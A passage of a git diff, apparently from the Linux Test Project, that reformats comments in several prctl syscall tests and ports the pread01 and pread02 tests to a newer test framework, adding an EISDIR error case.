  *   long, including the terminating null byte. If exceeds 16 bytes, the
  *   string is silently truncated.
- * 2)Return the name of the calling thread, the buffer should allow space
+ *
+ * - Return the name of the calling thread, the buffer should allow space
  *   for up to 16 bytes, the returned string will be null-terminated.
- * 3)Check /proc/self/task/[tid]/comm and /proc/self/comm name whether
+ *
+ * - Check /proc/self/task/[tid]/comm and /proc/self/comm name whether
  *   matches the thread name.
  */
 
 #include <sys/prctl.h>
 #include <string.h>
 #include <stdio.h>
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 #include "lapi/prctl.h"
-#include "tst_test.h"
 
 static struct tcase {
 	char setname[20];
@@ -50,8 +57,8 @@
 
 	if (strncmp(tc->expname, buf, sizeof(buf))) {
 		tst_res(TFAIL,
-		        "prctl(PR_GET_NAME) failed, expected %s, got %s",
-		        tc->expname, buf);
+			"prctl(PR_GET_NAME) failed, expected %s, got %s",
+			tc->expname, buf);
 		return;
 	}
 	tst_res(TPASS, "prctl(PR_GET_NAME) succeeded, thread name is %s", buf);
diff --git a/testcases/kernel/syscalls/prctl/prctl06.c b/testcases/kernel/syscalls/prctl/prctl06.c
index 21d336c..a9b35b2 100644
--- a/testcases/kernel/syscalls/prctl/prctl06.c
+++ b/testcases/kernel/syscalls/prctl/prctl06.c
@@ -2,19 +2,25 @@
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
  * Test PR_GET_NO_NEW_PRIVS and PR_SET_NO_NEW_PRIVS of prctl(2).
  *
- * 1)Return the value of the no_new_privs bit for the calling thread.
- *  A value of 0 indicates the regular execve(2) behavior.  A value of
- *  1 indicates execve(2) will operate in the privilege-restricting mode.
- * 2)With no_new_privs set to 1, diables privilege granting operations
- *  at execve-time. For example, a process will not be able to execute a
- *  setuid binary to change their uid or gid if this bit is set. The same
- *  is true for file capabilities.
- * 3)The setting of this bit is inherited by children created by fork(2),
- *  and preserved across execve(2). We also check NoNewPrivs field in
- *  /proc/self/status if it supports.
+ * - Return the value of the no_new_privs bit for the calling thread.
+ *   A value of 0 indicates the regular execve(2) behavior.  A value of
+ *   1 indicates execve(2) will operate in the privilege-restricting mode.
+ *
+ * - With no_new_privs set to 1, diables privilege granting operations
+ *   at execve-time. For example, a process will not be able to execute a
+ *   setuid binary to change their uid or gid if this bit is set. The same
+ *   is true for file capabilities.
+ *
+ * - The setting of this bit is inherited by children created by fork(2),
+ *   and preserved across execve(2). We also check NoNewPrivs field in
+ *   /proc/self/status if it supports.
  */
 
 #include "prctl06.h"
@@ -107,13 +113,11 @@
 		"current environment doesn't permit PR_GET/SET_NO_NEW_PRIVS");
 }
 
-static const char *const resfile[] = {
-	TESTBIN,
-	NULL,
-};
-
 static struct tst_test test = {
-	.resource_files = resfile,
+	.resource_files = (const char *const []) {
+		TESTBIN,
+		NULL
+	},
 	.setup = setup,
 	.test_all = verify_prctl,
 	.forks_child = 1,
diff --git a/testcases/kernel/syscalls/prctl/prctl06.h b/testcases/kernel/syscalls/prctl/prctl06.h
index 227ce30..dfb2de4 100644
--- a/testcases/kernel/syscalls/prctl/prctl06.h
+++ b/testcases/kernel/syscalls/prctl/prctl06.h
@@ -17,14 +17,13 @@
 #include "tst_test.h"
 
 #define PROC_STATUS        "/proc/self/status"
-#define IPC_ENV_VAR        "LTP_IPC_PATH"
 #define MNTPOINT           "mntpoint"
 #define TESTBIN            "prctl06_execve"
 #define TEST_REL_BIN_DIR   MNTPOINT"/"
 #define BIN_PATH           MNTPOINT"/"TESTBIN
 #define SUID_MODE          (S_ISUID|S_ISGID|S_IXUSR|S_IXGRP|S_IXOTH)
 
-void check_no_new_privs(int val, char *name, int flag)
+static void check_no_new_privs(int val, char *name, int flag)
 {
 	TEST(prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0));
 	if (TST_RET == val)
diff --git a/testcases/kernel/syscalls/prctl/prctl07.c b/testcases/kernel/syscalls/prctl/prctl07.c
index d27cac2..8b1f32e 100644
--- a/testcases/kernel/syscalls/prctl/prctl07.c
+++ b/testcases/kernel/syscalls/prctl/prctl07.c
@@ -2,24 +2,29 @@
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
  * Test the PR_CAP_AMBIENT of prctl(2).
+ *
  * Reads or changes the ambient capability set of the calling thread,
  * according to the value of arg2, which must be one of the following:
- * 1)PR_CAP_AMBIENT_RAISE:
- * The capability specified in arg3 is added to the ambient set.
- * The specified capability must already be present in both pE and pI.
- * If we set SECBIT_NO_CAP_AMBIENT_RAISE bit, raise option will be rejected
- * and retrun EPERM. We also raise a CAP twice.
- * 2)PR_CAP_AMBIENT_LOWER:
- * The capability specified in arg3 is removed from the ambient set.
- * Even though this cap is not in set, it also should return 0.
- * 3)PR_CAP_AMBIENT_IS_SET:
- * Returns 1 if the capability in arg3 is in the ambient set and 0 if it
- * is not.
- * 4)PR_CAP_AMBIENT_CLEAR_ALL:
- * All capabilities will be removed from the ambient set. This operation
- * requires setting arg3 to zero.
+ *
+ * - PR_CAP_AMBIENT_RAISE: The capability specified in arg3 is added to the
+ *   ambient set. The specified capability must already be present in both pE
+ *   and pI. If we set SECBIT_NO_CAP_AMBIENT_RAISE bit, raise option will be
+ *   rejected and return EPERM. We also raise a CAP twice.
+ *
+ * - PR_CAP_AMBIENT_LOWER: The capability specified in arg3 is removed from the
+ *   ambient set. Even though this cap is not in set, it also should return 0.
+ *
+ * - PR_CAP_AMBIENT_IS_SET: Returns 1 if the capability in arg3 is in the
+ *   ambient set and 0 if it is not.
+ *
+ * - PR_CAP_AMBIENT_CLEAR_ALL:  All capabilities will be removed from the
+ *   ambient set. This operation requires setting arg3 to zero.
  */
 
 #include <sys/prctl.h>
diff --git a/testcases/kernel/syscalls/prctl/prctl08.c b/testcases/kernel/syscalls/prctl/prctl08.c
index 9a1b34c..f090623 100644
--- a/testcases/kernel/syscalls/prctl/prctl08.c
+++ b/testcases/kernel/syscalls/prctl/prctl08.c
@@ -2,19 +2,27 @@
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
  * Test PR_GET_TIMERSLACK and PR_SET_TIMERSLACK of prctl(2).
- * 1)Each thread has two associated timer slack values: a "default"
+ *
+ * - Each thread has two associated timer slack values: a "default"
  *   value, and a "current" value. PR_SET_TIMERSLACK sets the "current"
  *   timer slack value for the calling thread.
- * 2)When a new thread is created, the two timer slack values are made
+ *
+ * - When a new thread is created, the two timer slack values are made
  *   the same as the "current" value of the creating thread.
- * 3)The maximum timer slack value is ULONG_MAX. On 32bit machines, it
+ *
+ * - The maximum timer slack value is ULONG_MAX. On 32bit machines, it
  *   is a valid value(about 4s). On 64bit machines, it is about 500 years
  *   and no person will set this over 4s.  prctl return value is int, so
  *   we test themaximum value is INT_MAX.
- * 4)we also check current value via /proc/self/timerslack_ns if it is
- *  supported.
+ *
+ * - we also check current value via /proc/self/timerslack_ns if it is
+ *   supported.
  */
 
 #include <sys/prctl.h>
diff --git a/testcases/kernel/syscalls/prctl/prctl09.c b/testcases/kernel/syscalls/prctl/prctl09.c
index 07ce570..c0696fc 100644
--- a/testcases/kernel/syscalls/prctl/prctl09.c
+++ b/testcases/kernel/syscalls/prctl/prctl09.c
@@ -4,9 +4,10 @@
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
  */
 
-/*
- * Test Description:
- *  This is a timer sample test that timer slack is 200us.
+/*\
+ * [Description]
+ *
+ * This is a timer sample test that timer slack is 200us.
  */
 
 #include <errno.h>
@@ -14,7 +15,7 @@
 #include "lapi/prctl.h"
 #include "tst_timer_test.h"
 
-int sample_fn(int clk_id, long long usec)
+static int sample_fn(int clk_id, long long usec)
 {
 	struct timespec t = tst_timespec_from_us(usec);
 
diff --git a/testcases/kernel/syscalls/pread/.gitignore b/testcases/kernel/syscalls/pread/.gitignore
index d1cd839..99bdf99 100644
--- a/testcases/kernel/syscalls/pread/.gitignore
+++ b/testcases/kernel/syscalls/pread/.gitignore
@@ -2,5 +2,3 @@
 /pread01_64
 /pread02
 /pread02_64
-/pread03
-/pread03_64
diff --git a/testcases/kernel/syscalls/pread/pread01.c b/testcases/kernel/syscalls/pread/pread01.c
index 607fc33..d11ca58 100644
--- a/testcases/kernel/syscalls/pread/pread01.c
+++ b/testcases/kernel/syscalls/pread/pread01.c
@@ -1,348 +1,116 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Linux Test Project, 2021
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Name: pread01
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify the functionality of pread() by writing known data using pwrite()
- *  to the file at various specified offsets and later read from the file from
- *  various specified offsets, comparing the data read aganist the data
- *  written.
- *
- * Expected Result:
- *  pread() should succeed to read the expected no. of bytes of data and
- *  the data read should match aganist the data written to the file.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *      Issue a FAIL message.
- *   Otherwise,
- *      Verify the Functionality of system call
- *      if successful,
- *          Issue Functionality-Pass message.
- *      Otherwise,
- *          Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  pread01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
+ * Verify the functionality of pread() by writing known data using pwrite()
+ * to the file at various specified offsets and later read from the file from
+ * various specified offsets, comparing the data read against the data written.
  */
 
-#define _XOPEN_SOURCE 500
-
 #include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <inttypes.h>
+#include "tst_test.h"
+#include "tst_safe_prw.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-#define TEMPFILE	"pread_file"
+#define TEMPFILE        "pread_file"
 #define K1              1024
 #define K2              (K1 * 2)
 #define K3              (K1 * 3)
 #define K4              (K1 * 4)
 #define NBUFS           4
 
-char *TCID = "pread01";
-int TST_TOTAL = 1;
+static int fildes;
+static char *write_buf[NBUFS];
+static char *read_buf[NBUFS];
 
-int fildes;			/* file descriptor for tempfile */
-char *write_buf[NBUFS];		/* buffer to hold data to be written */
-char *read_buf[NBUFS];		/* buffer to hold data read from file */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-void l_seek(int, off_t, int, off_t);	/* function to call lseek() */
-void init_buffers();		/* function to initialize/allocate buffers */
-void compare_bufers();		/* function to compare o/p of pread/pwrite */
-
-int main(int ac, char **av)
+static void l_seek(int fdesc, off_t offset, int whence, off_t checkoff)
 {
-	int lc;
-	int nread;		/* no. of bytes read by pread() */
+	off_t offloc;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* Reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Call pread() of K1 data (should be 2's) at offset K2.
-		 */
-		nread = pread(fildes, read_buf[2], K1, K2);
-
-		/* Check for the return value of pread() */
-		if (nread != K1) {
-			tst_brkm(TFAIL, cleanup, "pread() at off. K2 failed: "
-				 "nread=%d, error:%d", nread, errno);
-		}
-
-		/*
-		 * We should still be at offset K4,
-		 * which we were at the end of block 0.
-		 */
-		l_seek(fildes, 0, SEEK_CUR, K4);
-
-		/* Now lseek() to offset 0. */
-		l_seek(fildes, 0, SEEK_SET, 0);
-
-		/* pread() K1 of data (should be 3's) at offset K3. */
-		nread = pread(fildes, read_buf[3], K1, K3);
-		if (nread != K1) {
-			tst_brkm(TFAIL, cleanup, "pread() at off. K3 failed: "
-				 "nread=%d, error:%d", nread, errno);
-		}
-
-		/* We should still be at offset 0. */
-		l_seek(fildes, 0, SEEK_CUR, 0);
-
-		/*
-		 * Do a normal read() of K1 data (should be 0's)
-		 * which should take place at offset 0 and move the
-		 * file pointer to an offset of K1.
-		 */
-		if ((nread = read(fildes, read_buf[0], K1)) != K1) {
-			tst_brkm(TFAIL, cleanup, "read() at off. 0 failed: "
-				 "nread=%d, errno=%d", nread, errno);
-		}
-
-		/* We should now be at an offset of K1. */
-		l_seek(fildes, 0, SEEK_CUR, K1);
-
-		/* pread() of K1 data (should be 1's) at offset K1. */
-		nread = pread(fildes, read_buf[1], K1, K1);
-		if (nread != K1) {
-			tst_brkm(TFAIL, cleanup, "pread() at off. K1 failed: "
-				 "nread=%d, error:%d", nread, errno);
-		}
-
-		/* We should still be at offset K1. */
-		l_seek(fildes, 0, SEEK_CUR, K1);
-
-		/*
-		 * Compare the read buffer data read
-		 * with the data written to write buffer
-		 * in the setup.
-		 */
-		compare_bufers();
-
-		/* reset our location to offset K4 in case we are looping */
-		l_seek(fildes, K4, SEEK_SET, K4);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- *  Initialize/allocate read/write buffers.
- *  Create a temporary directory and a file under it and
- *  write know data at different offset positions.
- */
-void setup(void)
-{
-	int nwrite = 0;		/* no. of bytes written by pwrite() */
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Allocate/Initialize the read/write buffer with know data */
-	init_buffers();
-
-	tst_tmpdir();
-
-	/* Creat a temporary file used for mapping */
-	if ((fildes = open(TEMPFILE, O_RDWR | O_CREAT, 0666)) < 0) {
-		tst_brkm(TBROK, cleanup, "open() on %s failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
-
-	/* pwrite() K1 of data (0's) at offset 0 of temporary file */
-	if ((nwrite = pwrite(fildes, write_buf[0], K1, 0)) != K1) {
-		tst_brkm(TBROK, cleanup, "pwrite() failed to write on %s, "
-			 "errno=%d : %s", TEMPFILE, errno, strerror(errno));
-	}
-
-	/* We should still be at offset 0. */
-	l_seek(fildes, 0, SEEK_CUR, 0);
-
-	/* Now, lseek() to a non K boundary, just to be different. */
-	l_seek(fildes, K1 / 2, SEEK_SET, K1 / 2);
-
-	/* Again, pwrite() K1 of data (2's) at offset K2 of temporary file */
-	if ((nwrite = pwrite(fildes, write_buf[2], K1, K2)) != K1) {
-		tst_brkm(TBROK, cleanup, "pwrite() failed to write at %d off. "
-			 "on %s, errno=%d : %s", K2, TEMPFILE, errno,
-			 strerror(errno));
-	}
-
-	/* We should still be at our non K boundary. */
-	l_seek(fildes, 0, SEEK_CUR, K1 / 2);
-
-	/* lseek() to an offset of K3. */
-	l_seek(fildes, K3, SEEK_SET, K3);
-
-	/*
-	 * Using write(), write of K1 of data (3's) which should take
-	 * place at an offset of K3, moving the file pointer to K4.
-	 */
-	if ((nwrite = write(fildes, write_buf[3], K1)) != K1) {
-		tst_brkm(TBROK, cleanup, "write() failed: nwrite=%d, errno=%d "
-			 ": %s", nwrite, errno, strerror(errno));
-	}
-
-	/* We should be at offset K4. */
-	l_seek(fildes, 0, SEEK_CUR, K4);
-
-	/* Again, pwrite() K1 of data (1's) at offset K1. */
-	if ((nwrite = pwrite(fildes, write_buf[1], K1, K1)) != K1) {
-		tst_brkm(TBROK, cleanup, "pwrite() failed to write at %d off. "
-			 "on %s, errno=%d : %s", K1, TEMPFILE, errno,
-			 strerror(errno));
+	offloc = SAFE_LSEEK(fdesc, offset, whence);
+	if (offloc != checkoff) {
+		tst_res(TFAIL, "return = %" PRId64 ", expected %" PRId64,
+			(int64_t) offloc, (int64_t) checkoff);
 	}
 }
 
-/*
- * init_buffers - allocates both write_buf and read_buf arrays.
- *
- *  Allocate the read and write buffers.
- *  Fill the write buffer with the following data like,
- *    write_buf[0] has 0's, write_buf[1] has 1's, write_buf[2] has 2's
- *    write_buf[3] has 3's.
- */
-void init_buffers(void)
+static void compare_bufers(void)
 {
-	int count;		/* counter variable for loop */
-
-	/* Allocate and Initialize read/write buffer */
-	for (count = 0; count < NBUFS; count++) {
-		write_buf[count] = malloc(K1);
-		read_buf[count] = malloc(K1);
-
-		if ((write_buf[count] == NULL) || (read_buf[count] == NULL)) {
-			tst_brkm(TBROK, NULL,
-				 "malloc() failed on read/write buffers");
-		}
-		memset(write_buf[count], count, K1);
-	}
-}
-
-/*
- * l_seek() - local front end to lseek().
- *
- *  "checkoff" is the offset at which we believe we should be at.
- *  Used to validate pread/pwrite don't move the offset.
- */
-void l_seek(int fdesc, off_t offset, int whence, off_t checkoff)
-{
-	off_t offloc;		/* offset ret. from lseek() */
-
-	if ((offloc = lseek(fdesc, offset, whence)) != checkoff) {
-		tst_resm(TWARN, "return = %" PRId64 ", expected %" PRId64,
-			 (int64_t) offloc, (int64_t) checkoff);
-		tst_brkm(TBROK | TERRNO, cleanup, "lseek() on %s failed",
-			 TEMPFILE);
-	}
-}
-
-/*
- * compare_bufers() - Compare the contents of read buffer aganist the
- *                    write buffer contents.
- *
- *  The contents of the index of each buffer should be as follows:
- *  [0] has 0's, [1] has 1's, [2] has 2's, and [3] has 3's.
- *
- *  This function does memcmp of read/write buffer and display message
- *  about the functionality of pread().
- */
-void compare_bufers(void)
-{
-	int count;		/* index for the loop */
-	int err_flg = 0;	/* flag to indicate error */
+	int count;
+	int err_flg = 0;
 
 	for (count = 0; count < NBUFS; count++) {
 		if (memcmp(write_buf[count], read_buf[count], K1) != 0) {
-			tst_resm(TFAIL, "read/write buffer data mismatch");
+			tst_res(TFAIL, "read/write buffer[%d] data mismatch", count);
 			err_flg++;
 		}
 	}
 
-	/* If no erros, Test successful */
-	if (!err_flg) {
-		tst_resm(TPASS, "Functionality of pread() is correct");
-	}
+	if (!err_flg)
+		tst_res(TPASS, "Functionality of pread() is correct");
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *
- *             Deallocate the memory allocated to read/write buffers.
- *             Close the temporary file.
- *             Remove the temporary directory created.
- */
-void cleanup(void)
+static void verify_pread(void)
+{
+	SAFE_PREAD(1, fildes, read_buf[2], K1, K2);
+	l_seek(fildes, 0, SEEK_CUR, K4);
+	l_seek(fildes, 0, SEEK_SET, 0);
+
+	SAFE_PREAD(1, fildes, read_buf[3], K1, K3);
+	l_seek(fildes, 0, SEEK_CUR, 0);
+
+	SAFE_READ(1, fildes, read_buf[0], K1);
+	l_seek(fildes, 0, SEEK_CUR, K1);
+
+	SAFE_PREAD(1, fildes, read_buf[1], K1, K1);
+	l_seek(fildes, 0, SEEK_CUR, K1);
+
+	compare_bufers();
+
+	l_seek(fildes, K4, SEEK_SET, K4);
+}
+
+static void setup(void)
 {
 	int count;
 
-	/* Free the memory allocated for the read/write buffer */
+	for (count = 0; count < NBUFS; count++) {
+		write_buf[count] = SAFE_MALLOC(K1);
+		read_buf[count] = SAFE_MALLOC(K1);
+		memset(write_buf[count], count, K1);
+	}
+
+	fildes = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666);
+
+	SAFE_PWRITE(1, fildes, write_buf[0], K1, 0);
+	SAFE_PWRITE(1, fildes, write_buf[2], K1, K2);
+	SAFE_PWRITE(1, fildes, write_buf[3], K1, K3);
+	SAFE_PWRITE(1, fildes, write_buf[1], K1, K1);
+	SAFE_LSEEK(fildes, K4, SEEK_SET);
+}
+
+static void cleanup(void)
+{
+	int count;
+
 	for (count = 0; count < NBUFS; count++) {
 		free(write_buf[count]);
 		free(read_buf[count]);
 	}
 
-	/* Close the temporary file */
-	SAFE_CLOSE(NULL, fildes);
-
-	tst_rmdir();
-
+	if (fildes > 0)
+		SAFE_CLOSE(fildes);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_pread,
+};
diff --git a/testcases/kernel/syscalls/pread/pread02.c b/testcases/kernel/syscalls/pread/pread02.c
index aa194f6..5fa011e 100644
--- a/testcases/kernel/syscalls/pread/pread02.c
+++ b/testcases/kernel/syscalls/pread/pread02.c
@@ -1,295 +1,80 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Name: pread02
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that,
- *   1) pread() fails when attempted to read from an unnamed pipe.
- *   2) pread() fails if the specified offset position was invalid.
+ * Tests basic error handling of the pread syscall.
  *
- * Expected Result:
- *  1) pread() should return -1 and set errno to ESPIPE.
- *  2) pread() should return -1 and set errno to EINVAL.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create a temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *      if errno set == expected errno
- *              Issue sys call fails with expected return value and errno.
- *      Otherwise,
- *              Issue sys call fails with unexpected errno.
- *   Otherwise,
- *      Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory(s)/file(s) created.
- *
- * Usage:  <for command-line>
- *  pread02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
+ * - ESPIPE when attempted to read from an unnamed pipe
+ * - EINVAL if the specified offset position was invalid
+ * - EISDIR when fd refers to a directory
  */
 
-#define _XOPEN_SOURCE 500
-
-#include <errno.h>
-#include <unistd.h>
 #include <fcntl.h>
+#include <stdlib.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-#define TEMPFILE	"pread_file"
+#define PREAD_TEMPFILE  "pread_file"
+#define PREAD_TEMPDIR	"pread_dir"
 #define K1              1024
-#define NBUFS           4
 
-char *TCID = "pread02";
-int TST_TOTAL = 2;
+static int pipe_fd[2], fd, dir_fd;
 
-char *write_buf[NBUFS];		/* buffer to hold data to be written */
-char *read_buf[NBUFS];		/* buffer to hold data read from file */
-int pfd[2];			/* pair of file descriptors */
-int fd1;
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-int setup1();			/* setup function for test #1 */
-int setup2();			/* setup function for test #2 */
-int no_setup();
-void init_buffers();		/* function to initialize/allocate buffers */
-
-struct test_case_t {		/* test case struct. to hold ref. test cond's */
-	int fd;
+struct test_case_t {
+	int *fd;
 	size_t nb;
 	off_t offst;
 	char *desc;
 	int exp_errno;
-	int (*setupfunc) ();
-} Test_cases[] = {
-	{
-	1, K1, 0, "file descriptor is a PIPE or FIFO", ESPIPE, setup1}, {
-	2, K1, -1, "specified offset is -ve or invalid", EINVAL, setup2}, {
-	0, 0, 0, NULL, 0, no_setup}
+} tcases[] = {
+	{&pipe_fd[0], K1, 0, "file descriptor is a PIPE or FIFO", ESPIPE},
+	{&fd, K1, -1, "specified offset is negative", EINVAL},
+	{&dir_fd, K1, 0, "file descriptor is a directory", EISDIR}
 };
 
-int main(int ac, char **av)
+static void verify_pread(unsigned int n)
 {
-	int lc;
-	int i;
-	int fildes;		/* file descriptor of test file */
-	size_t nbytes;		/* no. of bytes to be written */
-	off_t offset;		/* offset position in the specified file */
-	char *test_desc;	/* test specific error message */
+	struct test_case_t *tc = &tcases[n];
+	char buf[K1];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; Test_cases[i].desc != NULL; i++) {
-			fildes = Test_cases[i].fd;
-			test_desc = Test_cases[i].desc;
-			nbytes = Test_cases[i].nb;
-			offset = Test_cases[i].offst;
-
-			if (fildes == 1) {
-				fildes = pfd[0];
-			} else if (fildes == 2) {
-				fildes = fd1;
-			}
-
-			/*
-			 * Call pread() with the specified file descriptor,
-			 * no. of bytes to be read from specified offset.
-			 * and verify that call should fail with appropriate
-			 * errno set.
-			 */
-			TEST(pread(fildes, read_buf[0], nbytes, offset));
-
-			/* Check for the return code of pread() */
-			if (TEST_RETURN != -1) {
-				tst_brkm(TFAIL, cleanup, "pread() returned "
-					 "%ld, expected -1, errno:%d",
-					 TEST_RETURN, Test_cases[i].exp_errno);
-			}
-
-			/*
-			 * Verify whether expected errno is set.
-			 */
-			if (TEST_ERRNO == Test_cases[i].exp_errno) {
-				tst_resm(TPASS, "pread() fails, %s, errno:%d",
-					 test_desc, TEST_ERRNO);
-			} else {
-				tst_resm(TFAIL, "pread() fails, %s, unexpected "
-					 "errno:%d, expected:%d", test_desc,
-					 TEST_ERRNO, Test_cases[i].exp_errno);
-			}
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
+	TST_EXP_FAIL2(pread(*tc->fd, &buf, tc->nb, tc->offst), tc->exp_errno,
+		"pread(%d, %zu, %lld) %s", *tc->fd, tc->nb, (long long)tc->offst, tc->desc);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *           Initialize/allocate write buffer.
- *           Call individual setup function.
- */
-void setup(void)
+static void setup(void)
+{
+	SAFE_PIPE(pipe_fd);
+	SAFE_WRITE(1, pipe_fd[1], "x", 1);
+
+	fd = SAFE_OPEN(PREAD_TEMPFILE, O_RDWR | O_CREAT, 0666);
+
+	SAFE_MKDIR(PREAD_TEMPDIR, 0777);
+	dir_fd = SAFE_OPEN(PREAD_TEMPDIR, O_RDONLY);
+}
+
+static void cleanup(void)
 {
 	int i;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Allocate/Initialize the read/write buffer with known data */
-	init_buffers();
-
-	/* Call individual setup functions */
-	for (i = 0; Test_cases[i].desc != NULL; i++) {
-		Test_cases[i].setupfunc();
-	}
-}
-
-/*
- * no_setup() - This function simply returns.
- */
-int no_setup(void)
-{
-	return 0;
-}
-
-/*
- * setup1() - setup function for a test condition for which pread()
- *            returns -ve value and sets errno to ESPIPE.
- *
- *  Create an unnamed pipe using pipe().
- *  Write some known data to the write end of the pipe.
- *  return 0.
- */
-int setup1(void)
-{
-	/* Create a pair of unnamed pipe */
-	SAFE_PIPE(cleanup, pfd);
-
-	/* Write known data (0's) of K1 bytes */
-	if (write(pfd[1], write_buf[0], K1) != K1) {
-		tst_brkm(TBROK, cleanup, "write to pipe failed: errno=%d : %s",
-			 errno, strerror(errno));
+	for (i = 0; i < 2; i++) {
+		if (pipe_fd[i] > 0)
+			SAFE_CLOSE(pipe_fd[i]);
 	}
 
-	return 0;
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+	if (dir_fd > 0)
+		SAFE_CLOSE(dir_fd);
 }
 
-/*
- * setup2 - setup function for a test condition for which pread()
- *          returns -ve value and sets errno to EINVAL.
- *
- *  Create a temporary directory and a file under it.
- *  return 0.
- */
-int setup2(void)
-{
-
-	tst_tmpdir();
-
-	/* Creat a temporary file used for mapping */
-	if ((fd1 = open(TEMPFILE, O_RDWR | O_CREAT, 0666)) < 0) {
-		tst_brkm(TBROK, cleanup, "open() on %s Failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
-
-	return 0;
-}
-
-/*
- * init_buffers() - allocate/Initialize write_buf array.
- *
- *  Allocate read/write buffer.
- *  Fill the write buffer with the following data like,
- *    write_buf[0] has 0's, write_buf[1] has 1's, write_buf[2] has 2's
- *    write_buf[3] has 3's.
- */
-void init_buffers(void)
-{
-	int count;		/* counter variable for loop */
-
-	/* Allocate and Initialize write buffer with known data */
-	for (count = 0; count < NBUFS; count++) {
-		write_buf[count] = malloc(K1);
-		read_buf[count] = malloc(K1);
-
-		if ((write_buf[count] == NULL) || (read_buf[count] == NULL)) {
-			tst_brkm(TBROK, NULL,
